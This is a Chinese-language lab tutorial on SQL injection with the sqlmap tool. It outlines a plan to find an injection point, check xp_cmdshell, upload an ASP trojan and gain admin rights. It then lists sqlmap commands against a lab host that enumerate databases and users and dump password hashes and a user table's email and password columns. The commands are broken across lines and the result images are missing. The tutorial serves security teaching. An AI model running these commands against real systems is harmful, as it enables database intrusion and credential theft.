实验三-渗透攻击工具 SQLMap

实验三渗透攻击工具测试（SQLMap）

一、注入简介

SQL注入攻击是黑客对数据库进行攻击的常用手段之一。随着B/S模式应用开发的发展，使用这种模式编写应用程序的程序员也越来越多。但是由于程序员的水平及经验也参差不齐，相当大一部分程序员在编写代码的时候，没有对用户输入数据的合法性进行判断，使应用程序存在安全隐患。用户可以提交一段数据库查询代码，根据程序返回的结果，获得某些他想得知的数据，这就是所谓的SQL Injection，即SQL注入。

SQL注入是从正常的WWW端口访问，而且表面看起来跟一般的Web页面访问没什么区别，所以市面的防火墙都不会对SQL注入发出警报，如果管理员没查看ⅡS日志的习惯，可能被入侵很长时间都不会发觉。但是，SQL注入的手法相当灵活，在注入的时候会碰到很多意外的情况，需要构造巧妙的SQL语句，从而成功获取想要的数据。

sqlmap是一个自动化的SQL注入工具，其主要功能是扫描，发现并利用给定的URL的SQL注入漏洞，日前支持的数据库是MS-SQL,,MYSQL,ORACLE和POSTGRESQL。SQLMAP采用四种独特的SQL注入技术，分别是盲推理SQL注入，UNION查询SQL注入，堆查询和基于时间的SQL盲注入。其广泛的功能和选项包括数据库指纹，枚举，数据库提取，访问目标文件系统，并在获取完全操作权限时实行任意命令。sqlmap的功能强大到让你惊叹，常规注入工具不能绕过的话，终极使用sqlmap会有意想不到的效果。

二、实验简介

总体思路：

·发现SQL注入位置；

·判断后台数据库类型；

·确定XP_CMDSHELL可执行情况

·发现WEB虚拟目录

·上传ASP木马；

·得到管理员权限；

三、测试

（一）检测注入点是否可用

1.C:\Python27\sqlmap>python sqlmap.py -u "http://19

2.168.1.150

/products.asp?id=134"

参数：-u：指定注入点url

结果：

注入结果展示：

（1）注入参数id为GET注入，注入类型有四种分别为：boolean-based blind、error-based、stacked queries、inline query。

（2）web服务器系统为windows 2003 or XP

（3）web应用程序技术为：, Microsoft IIS 6.0

（4）数据库类型为：SQLSERVER 2000

其中图一有若干询问语句，需要用户输入[Y/N]，如果你懒得输入或者不懂怎么输入可以让程序自动输入，只需添加一个参数即可，命令如下：

[plain]view plain copy

1.C:\Python27\sqlmap>python sqlmap.py -u "http://19

2.168.1.150

/products.asp?id=134" --batch

（二）暴库

1.C:\Python27\sqlmap>python sqlmap.py -u "http://19

2.168.1.150

/products.asp?id=134" --dbs

参数：--dbs：dbs前面有两条杠，请看清楚。

结果：

结果显示该sqlserver中共包含7个可用的数据库。

（三）web当前使用的数据库

1.C:\Python27\sqlmap>python sqlmap.py -u "http://19

2.168.1.150

/products.asp?id=134" --current-db

（四）web数据库使用账户

1.C:\Python27\sqlmap>python sqlmap.py -u "http://19

2.168.1.150

/products.asp?id=134" --current-user

（五）列出sqlserver所有用户

1.C:\Python27\sqlmap>python sqlmap.py -u "http://19

2.168.1.150

/products.asp?id=134" --users

（六）数据库账户与密码

1.C:\Python27\sqlmap>python sqlmap.py -u "http://19

2.168.1.150

/products.asp?id=134" --passwords

（七）列出数据库中的表

1.C:\Python27\sqlmap>python sqlmap.py -u "http://19

2.168.1.150

/products.asp?id=134" -D tourdata --tables

参数：

-D：指定数据库名称

--tables：列出表

结果：

结果体现共列出了34张表。

（八）列出表中字段

1.C:\Python27\sqlmap>python sqlmap.py -u "http://19

2.168.1.150

/products.asp?id=134" -D tourdata -T userb --columns

参数：

-D：指定数据库名称

-T：指定要列出字段的表

--columns：指定列出字段

结果：

结果显示该userb表中包含了23条字段。

（九）暴字段内容

1.C:\Python27\sqlmap>python sqlmap.py -u "http://19

2.168.1.150

/products.asp?id=134" -D tourdata -T userb -C "email,User name,userpassword" --dump

参数：

-C ：指定要暴的字段

--dump：将结果导出

结果：